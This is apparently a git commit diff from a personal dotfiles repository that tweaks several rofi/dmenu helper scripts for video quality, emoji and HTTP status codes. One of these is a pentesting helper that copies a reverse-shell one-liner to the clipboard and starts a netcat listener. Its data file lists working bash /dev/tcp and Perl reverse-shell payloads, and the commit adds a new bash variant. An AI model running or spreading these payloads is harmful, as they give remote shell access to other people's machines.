Small changes to dmenu-like scripts
This commit is contained in:
parent
38e202f3e0
commit
104bee1cfd
6 changed files with 21 additions and 19 deletions
|
@ -1 +0,0 @@
|
||||||
/usr/bin/rofi
|
|
|
@ -6,7 +6,7 @@ if [ -z "$url" ]; then
|
||||||
url=$(rofi -dmenu -p 'URL')
|
url=$(rofi -dmenu -p 'URL')
|
||||||
fi
|
fi
|
||||||
|
|
||||||
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu | awk '{print $1}')
|
code=$(youtube-dl "$url" -F | sed -n '/format code/,$ p' | tail -n +2 | rofi -dmenu -p Quality | awk '{print $1}')
|
||||||
|
|
||||||
mpv "$url" --ytdl-format="$code"
|
mpv "$url" --ytdl-format="$code"
|
||||||
|
|
||||||
|
|
|
@ -36,14 +36,26 @@ function getReverseShell() {
|
||||||
cut -d'|' -f2-
|
cut -d'|' -f2-
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function getRows(){
|
||||||
|
stty -a | head -n 1 | cut -d ';' -f 2 | cut -d ' ' -f 3
|
||||||
|
}
|
||||||
|
|
||||||
|
function getCols(){
|
||||||
|
stty -a | head -n 1 | cut -d ';' -f 3 | cut -d ' ' -f 3
|
||||||
|
}
|
||||||
|
|
||||||
function display() {
|
function display() {
|
||||||
ip=$(getIP)
|
ip=$(getIP)
|
||||||
port=$(getPort)
|
port=$(getPort)
|
||||||
reverseShell=$(getReverseShell $ip $port)
|
reverseShell=$(getReverseShell $ip $port)
|
||||||
|
|
||||||
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
|
echo -n "$reverseShell" | /usr/bin/xclip -i -selection clipboard
|
||||||
|
echo -n "$reverseShell" | /usr/bin/xclip -i -selection primary
|
||||||
|
|
||||||
nc -lvnp $port
|
nc -lvnp $port
|
||||||
|
#Put the tty back to normal
|
||||||
|
# This is useful if I got a nice shell before
|
||||||
|
stty -raw echo
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
|
BASH REVERSE SHELL|bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1
|
||||||
|
BASH REVERSE SHELL|bash -c 'bash -i >& /dev/tcp/[IPADDR]/[PORT] 0>&1'
|
||||||
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
|
BASH REVERSE SHELL|0<&196;exec 196<>/dev/tcp/[IPADDR]/[PORT]; sh <&196 >&196 2>&196
|
||||||
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
PERL REVERSE SHELL|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
PERL REVERSE SHELL WINDOWS|perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
|
|
5
bin/.bin/dmenu/status-codes
Executable file
5
bin/.bin/dmenu/status-codes
Executable file
|
@ -0,0 +1,5 @@
|
||||||
|
#!/usr/bin/env bash
|
||||||
|
|
||||||
|
SCRIPTPATH="$( cd "$(dirname "$0")" ; pwd -P )"
|
||||||
|
|
||||||
|
cat "$SCRIPTPATH/http-status-codes" | fzf
|
|
@ -6,18 +6,8 @@
|
||||||
# Requirements:
|
# Requirements:
|
||||||
# rofi, xsel, xdotool, curl, xmllint
|
# rofi, xsel, xdotool, curl, xmllint
|
||||||
#
|
#
|
||||||
# Usage:
|
|
||||||
# 1. Download all emoji
|
|
||||||
# $ rofi-emoji --download
|
|
||||||
#
|
|
||||||
# 2. Run it!
|
|
||||||
# $ rofi-emoji
|
|
||||||
#
|
|
||||||
# Notes:
|
# Notes:
|
||||||
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
|
# * You'll need a emoji font like "Noto Emoji" or "EmojiOne".
|
||||||
# * Confirming an item will automatically paste it WITHOUT
|
|
||||||
# writing it to your clipboard.
|
|
||||||
# * Ctrl+C will copy it to your clipboard WITHOUT pasting it.
|
|
||||||
#
|
#
|
||||||
|
|
||||||
# Where to save the emojis file.
|
# Where to save the emojis file.
|
||||||
|
@ -33,17 +23,12 @@ function notify() {
|
||||||
|
|
||||||
function display() {
|
function display() {
|
||||||
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
|
emoji=$(cat "$UNICODE_FILE" | grep -v '^[[:space:]]*$')
|
||||||
line=$(echo "$emoji" | dmenu -i -p Unicode -kb-custom-1 Ctrl+c $@)
|
line=$(echo "$emoji" | rofi -dmenu -i -p Unicode)
|
||||||
exit_code=$?
|
exit_code=$?
|
||||||
|
|
||||||
line=($line)
|
line=($line)
|
||||||
|
|
||||||
if [ $exit_code == 0 ]; then
|
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
|
||||||
xdotool type --clearmodifiers "${line[0]}"
|
|
||||||
elif [ $exit_code == 10 ]; then
|
|
||||||
echo -n "${line[0]}" | /usr/bin/xclip -i -selection clipboard
|
|
||||||
|
|
||||||
fi
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue